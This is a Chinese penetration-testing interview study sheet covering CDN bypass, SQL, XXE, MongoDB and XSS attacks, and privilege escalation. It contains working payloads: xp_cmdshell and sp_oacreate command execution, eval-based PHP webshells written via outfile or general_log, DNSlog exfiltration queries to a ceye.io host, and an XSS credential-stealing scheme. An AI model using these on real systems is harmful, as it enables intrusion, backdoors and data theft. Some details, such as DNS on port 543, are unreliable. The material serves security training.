计算机/网安 面试例题(三)

渗透测试思路

00-拿到目标站以后的渗透思路

渗透测试流程

  1. 项目前期准备工作

  2. 信息收集:whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息

  3. 漏洞扫描:Nessus, AWVS

  4. 手动挖掘:逻辑漏洞

  5. 验证漏洞

  6. 修复建议

  7. (如果有)基线检查/复验漏洞

  8. 输出报告

01-如何绕过CDN查真实IP

  1.多地ping看是否有cdn

  2.邮件订阅或者rss订阅

  3.二级域名可能不会做cdn

  4.nslookup http://xxx.com 国外dns

  5.查找域名历史解析记录,因为域名在上CDN之前用的IP,很有可能就是CDN的真实源IP地址 

  6.phpinfo上显示的信息

  7.cloudflare github可以获取真实IP

  8.一个网站有icon 可以根据icon hash 来查找真实IP

  9.子域名绑定 测试子域可能回源

注:关于CDN内容补充

什么是 CDN?

内容分发网络(CDN)是一个互连服务器网络,可加快数据密集型应用程序的网页加载速度。CDN 可以表示内容分发网络或内容分配网络。当用户访问某个网站时,来自该网站服务器的数据必须通过互联网传输到用户的计算机。如果用户距离该服务器较远,则加载大文件(例如视频或网站图像)将需要很长时间。相反,如果网站内容存储在距离用户较近的 CDN 服务器上,就可以更快到达他们的计算机。

为什么 CDN 很重要?

内容分发网络(CDN)的主要目的是减少延迟,或减少由网络设计造成的通信延迟。由于互联网的全球性和复杂性,网站(服务器)与其用户(客户端)之间的通信流量必须跨越很长的物理距离。通信也是双向的,从客户端向服务器发送请求,服务器返回响应。

CDN 通过在客户端和网站服务器之间引入中间服务器来提高效率。这些 CDN 服务器将管理客户端与服务器之间的一些通信。它们可以降低传送到 Web 服务器的 Web 流量、减少带宽消耗,并改善应用程序的用户体验。

CDN 有哪些优势?

内容分发网络(CDN)具有众多优势,可以提高网站性能并支持核心网络基础设施。例如,CDN 可以执行以下任务:

加快页面加载速度

如果您的页面加载速度太慢,网站流量可能会减少。CDN 可以降低跳出率并增加用户在您网站上停留的时间。

降低带宽成本

带宽成本是一笔巨大的开支,因为每个传入的网站请求都会消耗网络带宽。通过缓存和其他优化,CDN 可以减少原始服务器必须提供的数据量,从而降低网站所有者的托管成本。

提高内容可用性

同一时间的访客过多或网络硬件故障可能会导致网站崩溃。CDN 服务可以处理更多 Web 流量并降低 Web 服务器的负载。此外,如果一台或多台 CDN 服务器离线,其他运营服务器可以替换它们,以确保服务不中断。

提高网站安全性

分布式拒绝服务(DDoS)攻击试图通过向网站发送大量虚假流量来关闭应用程序。CDN 可以通过在多个中间服务器之间分配负载来处理此类流量峰值,从而降低对原始服务器的影响。

CDN 技术的发展史

内容分发网络(CDN)技术兴起于 1990 年代后期,侧重于加快通过互联网分发内容的速度:

第一代

第一代 CDN 服务专注于智能网络流量管理和用于复制的数据中心的联网原理。

第二代

第二代 CDN 的出现是为了应对音频和视频流媒体服务(尤其是视频点播和新闻点播)的兴起。该项技术还不断发展,以解决在移动设备上进行内容交付的新挑战。各公司使用云计算技术和对等联网来加速内容交付。

第三代

第三代 CDN 仍在不断发展。作为全球领先的 CDN 服务提供商之一,AWS 正在推动创新。由于大多数 Web 服务集中在云中,因此现在的重点是边缘计算,即使用智能通信的智能设备管理带宽消耗。自治和自我管理的边缘网络可能是 CDN 技术的发展方向。

CDN 可以分发哪些互联网内容?

内容分发网络(CDN)可以分发两种类型的内容:静态内容和动态内容。

静态内容

静态内容是不会因用户而异的网站数据。网站标题图像、徽标和字体样式对于所有用户都保持不变,并且企业不会经常更改它们。静态数据无需修改、处理或生成,非常适合存储在 CDN 上。

动态内容

诸如社交媒体新闻推送、天气报告、登录状态和聊天消息等动态内容因网站用户而异。这些数据会根据用户的位置、登录时间或用户首选项而变化,并且网站必须为每个用户和每次用户交互生成数据。

CDN 的工作原理

内容分发网络(CDN)通过在多个地理位置建立一个入网点(PoP)或一组 CDN 边缘服务器来工作。这个分布在不同地理位置的网络基于缓存、动态加速和边缘逻辑计算的原则工作。

缓存

缓存是存储相同数据的多个副本以加快数据访问的过程。在计算中,缓存的原理适用于所有类型的内存和存储管理。在 CDN 技术中,该术语是指将静态网站内容存储在网络中多个服务器上的过程。 CDN 中的缓存的工作原理如下:

  1. 来自偏远地理位置的网站访客首次从您的网站请求静态 Web 内容。
  2. 请求到达您的 Web 应用程序服务器或原始服务器。原始服务器将响应发送给远程访客。同时,它还将响应的副本发送到与该访客地理上最近的 CDN POP。
  3. CDN POP 服务器将副本存储为缓存文件。
  4. 下次该访客或该位置的任何其他访客发出相同的请求时,将由缓存服务器而不是原始服务器发送响应。 

动态加速

动态加速是指通过在 Web 应用程序和客户端之间设置中间 CDN 服务器,从而加快对动态 Web 内容请求的服务器响应。缓存不适用于动态 Web 内容,因为内容因用户请求而异。CDN 服务器必须针对每个动态请求重新连接原始服务器,但它们通过优化自己与原始服务器之间的连接加速了该过程。

如果客户端通过互联网直接向 Web 服务器发送动态请求,则该请求可能会由于网络延迟而丢失或延迟。此外,可能还需要花费时间打开和关闭连接以进行安全验证。另一方面,如果附近的 CDN 服务器将请求转发到原始服务器,它们就已经建立了一个持续的、受信任的连接。例如,以下功能可以进一步优化它们之间的连接:

  •  智能路由算法
  • 地理位置靠近原始服务器
  • 能够处理客户端请求,缩减其大小

边缘逻辑计算

您可以对 CDN 边缘服务器进行编程,以执行简化客户端和服务器之间通信的逻辑计算。例如,此服务器可以执行以下操作:

  • 检查用户请求并修改缓存行为。
  • 验证和处理不正确的用户请求。
  • 在响应之前修改或优化内容。

Web 服务器和网络边缘之间的应用程序逻辑分布有助于开发人员减轻原始服务器的计算需求并提高网站性能。

CDN 的用途是什么?

内容分发网络(CDN)改善了正常的网站功能并提高了客户满意度。以下是一些示例使用场景。

高速内容分发

通过结合静态和动态互联网内容分发,您可以使用 CDN 为您的客户提供全球、高性能、全站点体验。例如,路透社是全球最大的新闻发布商,向 BBC、CNN、纽约时报和华盛顿邮报等顶级频道发布新闻。路透社面临的新闻媒体挑战是及时向全球客户提供新闻内容。路透社使用 Amazon 的 CDN 服务 Amazon CloudFront 和 Amazon Simple Storage Service(Amazon S3)来最大程度地减少对卫星链路通信的依赖,并创建一个更实惠、高度可用且安全的全球分布式网络平台。

实时响应

CDN 有助于以可靠且经济高效的方式分发丰富、高质量的媒体文件。流媒体视频和音频的公司使用 CDN 来克服三个挑战:降低带宽成本、增加规模和加快分发速度。例如,Hulu 是 Walt Disney 公司旗下的在线视频流媒体平台。它使用 Amazon CloudFront 向不断增长的客户群持续传输超过 20 GBps 的数据。

多用户扩展

CDN 有助于支持大量并发用户。网站资源能够同时管理的客户端连接数量有限。CDN 可以通过减轻应用程序服务器的负载来快速扩展这一数量。例如,King 是一家游戏公司,它开发可随时随地从任何设备进行的社交连接、跨平台的游戏。King 的常规玩家人数超过 3.5 亿,他们每天在平台上的游戏场次超过 106 亿场。
King 的游戏应用程序将用户的游戏数据记录在中央数据中心,使他们可以在不同的设备上玩游戏而不会丢失进度。数据中心旨在为用户提供一致的体验,即使用户在带宽有限的旧机器上加入游戏也是如此。
King 使用 Amazon CloudFront 每天交付数百 TB 的内容,当它推出新游戏或启动大规模营销计划时,峰值会达到 0.5 PB 或更多。

02-sleep函数被禁用后如何进行sql注入

  BENCHMARK,Get_lock函数,当都被禁用后可以用计算量比较大的语句使数据库查询时间变长,从而达到延时注入的效果。

mysql:`AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C);`

03-哪些地方存在xxe?架构问题?

  xxe常见场景是如pdf在线解析、word在线解析、定制协议,留言板等,跟逻辑设计有关而与语言无关,最好是不要让XML作为参数传输或整体结构可被用户篡改。如果一定要使用,至少要禁用DTD、Entity。

xxe危害

  读取本地文件,执行系统命令,探测内网端口,攻击内网服务
探测内网端口的协议有gopher file dict,不同语言支持不同的协议,是具体情况而定 file http ftp是常用的防范,python用lxml时可以对resolve_entities设为false。

或者过滤用户提交的xml客户端也可以有xxe攻击,有的网站会使用office打开docx进行解析Java解析XML的常用三方库,如果不禁用DTD、Entity都会导致XXE漏洞:

javax.xml.stream.XMLStreamReader;
javax.xml.parsers.DocumentBuilderFactory;

04-如何绕过Http-only

  HTTP-Only禁止的是JS读取cookie信息,Http Trace攻击就可以将你的Header里的Cookie回显出来,利用Ajax或者flash就可以完成这种攻击;或者配置或者应用程序上可能Bypass,比如header头的泄漏。

05-SQL二次注入

  第一次进行数据库插入数据的时候,仅仅只是使用了`addslashes`或者是借助`get_magic_quotes_gpc`对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

  交友网站,填写年龄处是一个注入点,页面会显示出与你相同年龄的用户有几个。使用and 1=1确定注入点,用order by探测列数,union select探测输出点是第几列,

  1. 爆库 `group_concat(schema_name) from information_schema.schemata`

  2. 爆表 `group_concat(table_name) from information_schema.schemata where table_schema='hhh'`

  3. 获取数据 `concat(flag) from flag`

修复

  在从数据库或文件中取数据的时候,也要进行转义或者过滤。

06-SQLserver提权

xp_cmdshell提权

  xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令,在拿到sa口令之后,经常可以通过xp_cmdshell来进行提权

前提

  getshell或者存在sql注入并且能够执行命令。

  sql server是system权限,sql server默认就是system权限

启用xp_cmdshell

  EXEC master..sp_configure 'show advanced options',

  1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell',

  1;RECONFIGURE;

  # 通过xp_cmdshell执行系统命令

  Exec master.dbo.xp_cmdshell 'whoami'

 

sp_oacreate提权

  在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权

前提

  需要同时具备sp_oacreate和sp_oamethod两个功能组件

# 开启组件

EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'show advanced options', 0;

# 执行系统命令(无回显)

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami'

通过沙盒执行命令

# 开启沙盒

exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxM ode','REG_DWORD',1

# 利用jet.oledb执行命令

select * from
openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32 \ias\dnary.mdb','select shell("whoami")')

通过Agent Job执行命令

  修改开启Ageent Job,执行无回显CobaltStrike生成powershell上线

07-GPC是什么?GPC之后怎么绕过?

  如果`magic_quotes_gpc=On`,PHP解析器就会自动为post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符(认为是php的字符)引起的污染。

08-如何防范webshell

防范的措施大概有三种
  第一种的思路是将专门存放上传文件的文件夹里面的脚本类型文件,解析成其他类型的文件,服务器不会以脚本类型来执行它。

  第二种是匹配文件夹里的脚本类型文件,将其设置为无法读取及操作。

  第三种是将文件上传到一个单独的文件夹,给一个二级的域名,然后不给这个虚拟站点解析脚本的权限,听说很多网站都用这种方式。

09-webshell检查思路

  webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。

  黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件,是一个合法的TCP连接,TCP/IP的应用层之下没有任何特征,只能在应用层进行检测。黑客入侵服务器,使用webshell,不管是传文件还是改文件,必然有一个文件会包含webshell代码,很容易想到从文件代码入手,这是静态特征检测;webshell运行后,B/S数据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。

静态检测

静态检测通过匹配特征码,特征值,危险函数函数来查找webshell的方法,只能查找已知的webshell,并且误报率漏报率会比较高,但是如果规则完善,可以减低误报率,但是漏报率必定会有所提高。优点是快速方便,对已知的webshell查找准确率高,部署方便,一个脚本就能搞定。缺点漏报率、误报率高,无法查找0day型webshell,而且容易被绕过。

静态检测配合人工

  一个检查工具 https://github.com/he1m4n6a/findWebshell

动态检测

Linux下就是nobody用户起了bash,Win下就是IIS User启动cmd,这些都是动态特征。再者如果黑客反向连接的话,那很更容易检测了,Agent和IDS都可以抓现行。Webshell总有一个HTTP请求,如果我在网络层监控HTTP,并且检测到有人访问了一个从没反问过得文件,而且返回了200,则很容易定位到webshell,这便是http异常模型检测,就和检测文件变化一样,如果非管理员新增文件,则说明被人入侵了。缺点也很明显,黑客只要利用原文件就很轻易绕过了,并且部署代价高,网站时常更新的话规则也要不断添加。

日志检测

使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。日志分析检测技术通过大量的日志文件建立请求模型从而检测出异常文件,称之为:HTTP异常请求模型检测。

寻找webshell

1.自动化查找  D盾 河马  fotify

2.手动查找  windows  sublime  全文件夹查找 IDE PHPSTORM 全局查找  Linux  命令查找  `grep -rn "eval(" *`

 webshell特征 PHP的危险函数

 还有`phar <?php XXXXX`

10-如何查找DNS解析记录

  1. 查看浏览器缓存

  2. 查看系统缓存

  3. 查看路由器缓存

  4. 查找ISP DNS缓存

  5. 递归搜索。根据网址,发送一个DNS请求,UDP请求,端口为543,会请求一个 DNS服务器,DNS服务器会不断递归查找这个网址的IP

11- 登录页面的漏洞

  1. 注入点以及万能密码
  2. 敏感信息泄露
  3. 验证码绕过
  4. 无限注册帐号
  5. 任意密码重置
  6. 明文传输
  7. 越权漏洞

12-如何快速判定XSS类型

存储型XSS

  你发送一次带XSS代码的请求,以后这个页面的返回包里都会有XSS代码;

反射型XSS

  你发送一次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码;

DOM型XSS

  你发送一次带XSS代码的请求,在返回包里压根儿就找不到XSS代码的影子;

CSP策略

  浏览器内容安全策略,减少xss攻击。

13-CSRF、SSRF和重放攻击有什么区别

  - CSRF是跨站请求伪造攻击,由客户端发起 

  - SSRF是服务器端请求伪造,由服务器发起 

  - 重放攻击是将截获的数据包进行重放,达到身份认证等目的

14-CSRF 和 XSS 和 XXE 有什么区别,以及修复方式

XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。

  修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。 

CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。

  修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer.

XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。

  修复方式:XML解析库在调用时严格禁止对外部实体的解析。

15-MongoDB注入方式

利用正则:找到y开头的name `db.items.find({name: {$regex:"^y"}})`

一些payload

  1.`?login[$regex]=^&password[$regex]=^`
  2.`?login[$not][$type]=1&password[$not][$type]=1`

16-mysql的网站,5.0以上和5.0以下有什么区别?

  5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。5.0以下是多用户单操作,5.0以上是多用户多操作

17-MySQL写shell

1.写shell用什么函数? 

 - `select '<?php phpinfo()> into outfile 'D:/shelltest.php'` - `dumpfile`

 - `file_put_contents`

2.outfile不能用了怎么办?

 `select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';`可以UDF提权 https://www.cnblogs.com/milantgh/p/5444398.html

3.dumpfile和outfile有什么不一样?

outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。

4.sleep()能不能写shell?

5. 写shell的条件?

 - 用户权限

 - 目录读写权限

 - 防止命令执行:`disable_functions`,禁止了

`disable_functions=phpinfo,exec,passthru,shell_exec,system,proc_ope n,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source`,但是可以用dl扩展执行命令或者ImageMagick漏洞 

https://www.waitalone.cn/imagemagic-bypass-disable_function.html  open_basedir: 将用户可操作的文件限制在某目录下

mysql写shell的条件

1、网站可访问路径的绝对路径

2、secure_file_priv 的值非NULL或包含了导出的绝对路径secure_file_priv的值在mysql配置文件my.ini中设置,这个参数用来限制数据导入导出Mysql>=5.5.53 默认为NULL,即默认禁止导入导出Mysql<5.5.53 默认为空,即默认无限制

3、mysql服务有对网站可访问路径的写权限

4、mysql连接用户有FILE权限/ROOT用户或ROOT权限

5、GPC关闭//未对闭合用的引号转义

outfile 和 dumpfile的路径不支持hex,必须有引号包裹

mysql日志写shell

与导出函数写Shell相比,规避了 secure_file_priv 的限制

1.网站可访问路径的绝对路径

2.mysql服务有对网站可访问路径的写权限

3.mysql连接用户有权限开启日志记录和更换日志路径/ROOT权限

4.GPC关闭/未对闭合用的引号转义
 虽然日志路径可以hex编码,但被记入日志的查询语句中的shell内容需要引号包裹,加`\`后传到数据库执行会报错,无法记录进日志

root权限

GPC 关闭(能使用单引号),magic_quotes_gpc=On

有绝对路径(读文件可以不用,写文件必须)

没有配置–secure-file-priv

成功条件:有读写的权限,有 create、insert、select 的权限

18-disable_functions 绕过

1. 黑名单总有漏网之鱼,多尝试一些函数

2. LD_PRELOAD:原理就是劫持系统函数,使程序加载恶意动态链接库文件,从而执行系统命令等敏感操作

3. lmageMagick:利用lmageMagick命令执行漏洞(CVE-2016-3714)

4. Windows系统组件COM绕过

5. PHP7.4FFI绕过

6. 利用Bash破壳(CVE-2014-6271)漏洞绕过

7. 利用imap_open()绕过(CVE-2018-19518)

8. 利用pcntl插件绕过

19-拿到webshell不出网情况下怎么办

  reg上传去正向连接。或探测出网协议,如dns,icmp

20-脏牛提权漏洞

脏牛漏洞

  Dirty COW, CVE-2016-5195

漏洞范围

  Linux内核 >= 2.6.22

简要分析

  该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限

步骤

1.查看系统版本和用户权限

2.下载exp到本地  使用gcc -pthread dirty.c -o dirty -lcrypt命令对dirty.c进行编译,生成一个dirty的可执行文件

3.执行./dirty 密码命令,即可进行提权

23-sqlmap的--level和--risk的区别

  level级别越高发送的请求越多,并且在level3以上时会尝试对referer注入。

  而risk则是风险系数,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的QL注入测试。在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

24-存储型XSS怎么利用?

XSS攻击的原理是通过修改或者添加页面上的JavaScript恶意脚本,在浏览器渲染页面的时候执行该脚本,从而实现窃取COOKIE或者调用Ajax实现其他类型的CSRF攻击,还可以插入beef进行钓鱼等

CORS(浏览器同源策略)

js =>ajax 去请求其他网站的东西

test.com 根据浏览器的CORS策略 他只能在test.com里面请求东西 

test.com 调用ajax 去访问 xxxx.com  assdasd.test.com  如果目标的CORS头 默认不放行test.com 这样 test.com 的ajax请求就不会访问其他网站 

25-MYSQL 数据库的站,只有一个 80 端口开放?

  更改了端口  站库分离;3306端口不对外开放。

26-审查上传点的元素有什么意义?

  有些站点的上传文件类型限制是在前端实现的,这时只要增加上传类型就能突破限制了。

27- 3389 无法连接

  没开放 3389 端口;端口被修改;防护拦截;处于内网(需进行端口转发)

28-目标站无防护,上传图片可以正常访问,上传脚本格式访问则403

  有可能Web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过。

29-Mysql几种提权方式

Mysql_UDF 提权 

  利用了root高权限,创建带有调用 cmd 的函数的 udf.dll 动态链接库,导出 udf.dll 文件后,我们就可以直接在命令框输入 cmd

限制条件

  1-MySQL 数据库没有开启安全模式(确认secure_file_priv=''是否为空)

  2-已知的数据库账号具有对MySQL数据库insert和delete的权限,最好是root最高权限。3-shell有写入到数据库安装目录的权限。

MOF提权

  MOF提权是一个有历史的漏洞,基本上在Windows Server 2003的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的mof文件每隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS脚本,所以可以利用这个VBS脚本来调用CMD来执行系统命令,如果 MySQL有权限操作 mof 目录的话,就可以来执行任意命令了。

30-针对token的测试 会注意哪些方面?

  针对token的攻击,一是对它本身的攻击,重放测试一次性、分析加密规则、校验方式是否正确等,二是结合信息 泄露漏洞对它的获取,结合着发起组合攻击信息泄露有可能是缓存、日志、get,也有可能是利用跨站很多跳转登录的都依赖token,有一个跳转漏洞加反射型跨站就可以组合成登录劫持了另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的。

31-token和refer横向对比 谁安全等级高?

  token安全等级更高,因为并不是任何服务器都可以取得referer,如果从HTTPS 跳到HTTP,也不会发送referer。并且FLASH一些版本中可以自定义referer。但是token的话,要保证其足够随机且不可泄露。(不可预测性原则) 

32-SQL注入写shell 单引号被过滤怎么办?

写 shell: root 权限,GPC 关闭,知道文件路径outfile函数 

http://127.0.0.1:81/sqli.php?id=1 into outfile
C:\\wamp64\\www\\phpinfo.php' FIELDS
TERMINATED BY '<?php phpinfo(); ?>'
http://127.0.0.1:81/sqli.php?id=-1 union select
1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile C:\\wamp64\\www\\phpinfo.php'`

宽字节注入 

  代替空格的方法 

  %0a、%0b、%a0 等/**/ 等注释符<> 

33-宽字节注入的原理

产生原理 

  在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于 0XBF27是两个字符,在PHP中比如addslash和 magic_quotes_gpc 开启时,由于会对 0x27 单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于 0XBF5C 是一个另外的字符,因此\转义符号会被前面 的 bf 带着"吃掉",单引号由此逃逸出来可以用来闭合语句。 

根本原因 

  character_set_client(客户端的字符集)和 character_set_connection(连接层的字符集)不同,或转换函数如iconv、mb_convert_encoding使用不当。 

解决办法 

  统一数据库、Web 应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为 UTF-8。或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。

34-img标签除了onerror属性外,其他获取管理员路径的办法

  1.服务器修改apache配置文件,配置.jpg文件以php方式来解析AddType application/x-httpd-php .jpg <img src=http://xss.tv/1.jpg> 会以php方式来解析

  2.c定一个远程的脚本文件,获取 referer

35-代码执行、文件读取、命令执行函数有哪些

代码执行

  eval,preg_replace+/e,assert,call_user_func,call_user_func_array,cre ate_function

文件读取

  file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(),fgets(),parse_ini_file(),show_source(),file()等 

命令执行

  system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

36-为什么aspx木马权限比asp大?

  aspx使用的是.net技术。IIS中默认不支持,ASP只是脚本语言而已。入侵的时候asp的木马一般是guest权限…APSX的木马一般是users权限。

37-提权为何选择可读写目录?不用带空格的目录?

  因为exp执行多半需要空格界定参数。

38-有shell情况下如何使用xss实现对目标站的长久控制?

  后台登录处加一段记录登录账号密码的 js,并且判断是否登录成功,如果登录成功,就把账号密码记 录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控 制权限的网络)。 在登录后才可以访问的文件中插入XSS脚本。

39-发现uid=100注入点,获取shell的思路?

  有写入权限的,构造联合查询语句使用 using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入WebShell使用sqlmap –os-shell原理和上面一种相同,来直接获得一个Shell,这样效率更高通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传Shell。

40-如何拿一个站点的webshell?

  上传,后台编辑模板,sql注入写文件,命令执行,代码执行,一些已经爆出的cms 漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等 。

41-手工判断目标站是Windows还是Linux?

1.Linux大小写敏感 Windows不敏感

2.通过Ping的值 TTL

 Linux值 64或者255

 win 32   128

 unix   255

42.SVN/GIT 源代码泄露

1.在使用 SVN 管理本地代码过程中,会自动生成一个名为.svn 的隐藏文件夹,其中包含重要的源代码信息/.git/config

2.使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起git泄露漏洞/.svn/entries

43.项目上漏洞扫描需注意哪些?

  跟客户确认是否充许登录扫描、扫描并发连接数及线程数、是否充许暴力破确,什么时间扫描、通知客户备份一下数据,开启业务系统及网站运维监控,以免断机可及时恢复。

44.Mysql注入点,工具对目标站点写一句话 需要哪些条件?

  root权限、网站的绝对路径、需要数据库开启 secure_file_priv相当于secure_file_priv的值为空,不为空不充许写入webshell(默认不开启,需要修改 my.ini 配置文件)。

45.为何一个mysql数据库的站,只有一个80端口开放

1、更改了数据库端口,没有扫描出来。

2、站库分离。

3、3306 端口不对外开放

46.报错注入的函数

  updatexml、extractvalue、floor、exp

47-Post和Get都做了防注入,可以采用什么方式绕过

  Cookies注入绕过

48-SQL注入只能查帐号密码?

  最低权限都可以查找帐号和密码,如 mssql sa 权限可以获取系统权限,dbowner 可以获取 Webshell,public 可以脱库;mysql root 权限、知道网站的绝对路径、数据库 my.ini 配置文件 secure_file_priv 值为空时,就可以获取 webshell 并执行操作系统命令。

49-sqlmap,怎么对一个注入点注入?

1.如果是 get 注入,直接,sqlmap -u "注入点网址".

2.如果是 post 注入,可以 sqlmap –r "burp 地址访问包”

3.如果是 cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r "文件地址",记得加上—level 3参数

50-SQL注入的防护方法?

1、涵数过滤,如!is_numeric 涵数 //判断变量 id 是否为数字

2、直接下载相关防范注入文件,通过 incloud 包含放在网站配置文件里面,如 360、阿里云、腾迅提供的防注入脚本

3、使用白名单来规范化输入验证方法

4、采用 PDO 预处理 

5、使用 Waf 拦截

51-盲注IF被过滤怎么绕过?

如果 and if 被 waf 拦截,我们可以使用内联注释来绕过函数的检测,如:

xor /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!

(1)*/,curdate())%23
^ /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!

(1)*/,curdate())%23
/*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!

(1)*/,curdate())%23
and case when 1!=0 then /*!sleep*//*!(5)*/ else 0 end %23

52-SQL注入无回显,利用DNSlog如何构造

1.没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火墙的存在,容易被封禁 IP,可以尝试调整请求频率,有条件的使用代理池进行请求。

2.此时也可以使用 DNSlog 注入,原理就是把服务器返回的结果放在域名中,然后读取 DNS 解析时的日志,来获取想要的信息。

3.Mysql 中利用load_file()构造payload

‘ and if((select load_file(concat(‘\\\\’,(select database()),’.xxx.ceye.io\\abc’))),1,0)#

4.Mssql 下利用 master..xp_dirtree 构造 payload

DECLARE @host varchar(1024);SELECT @host=(SELECT db_name())+’.xxx.ceye.io’;EXEC(‘master..xp_dirtree”\’+@host+’ \foobar$”‘);

53.PHPadmin写shell的方法

一、常规导入 shell 的操作

创建数据表导出 shell

CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL ); INSERT INTO `mysql`.`shadow9` (`content` ) VALUES (‘<?php @eval($_POST[pass]);?>’);
SELECT `content` FROM `shadow9` INTO OUTFILE
‘C:\\phpStudy\\WWW\\90sec.php’;
DROP TABLE IF EXISTS `shadow9`;

二、一句话导出shell

select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstu dy/www/90sec.php';
select '<?php @eval($_POST[pass]);?>' into outfile 'c:\\phpst udy\\www\\90sec.php';
select '<?php @eval($_POST[pass]);?>' into dumpfile 'c:\\phps tudy\\www\\bypass.php';

三、日志备份获取 shell

show global variables like "%genera%"; //查询general_log配置
set global general_log='on'; //开启 general log 模 式
SET global general_log_file='D:/phpStudy/WWW/cmd.php'; //设置日志文件保存路径
SELECT '<?php phpinfo();?>'; //phpinfo()写入日志文件
set global general_log='off'; //关闭 general_log模式

54.预编译能不能百分百防御SQL注入?如不能请举例

$pdo->query('SET NAMES gbk');
$var = "\xbf\x27 OR 1=1 /*";
$query = 'SELECT * FROM test WHERE name = ? LIMIT 1'; $stmt = $pdo->prepare($query);
$stmt->execute(array($var));   #类似于宽字节注入
$dbh = new PDO("txf");
$name = $_GET['name'];
$stmt = $dbh->prepare('SELECT * FROM ' . $name . ' where usern ame = :username');
$stmt->execute( array(':username' => $_REQUEST['username']) );
#参数 name 是一串数组,PDO 不会生效

$stmt = $dbh->prepare('SELECT * FROM foo ORDER BY :userSuppliedData');
#PDO对DDL不生效

55.SQL注入时 and or 被过滤如何处理

1.大小写变形

2.编码

3.添加注释

4.双写法

5.利用符号形式

6.浮点数    #数字被注释

7.函数替代   #符号被注释

56-快速找文件下载漏洞

一般链接形式:

download.php?path=

down.php?file=

data.php?file=

download.php?filename=

或者包含参数:

&Src=

&Inputfile=

&Filepath=

&Path=

&Data=

57-任意文件下载的防范方法

(1)过滤".",使用户在url中不能回溯上级目录

(2)正则严格判断用户输入参数的格式

(3)php.ini 配置open_basedir限定文件访问范围

58-CORS产生利用方式?绕过同源策略方式?

1-CORS 全称是”跨域资源共享”(Cross-origin resource sharing),Origin源未严格,从而造成跨域问题,允许浏览器向跨源服务器,发出XMLHttpRequest请求

2-Origin 为*的时候,使用 curl 测试 CORS,curl <url> -H “Origin: https://evil.com” -I,再寻找的 api 接口是否有敏感信息泄漏。

3-同源:协议相同、域名相同、端口相同,绕过同源策略限制的方法:

  1、document.domain 属性

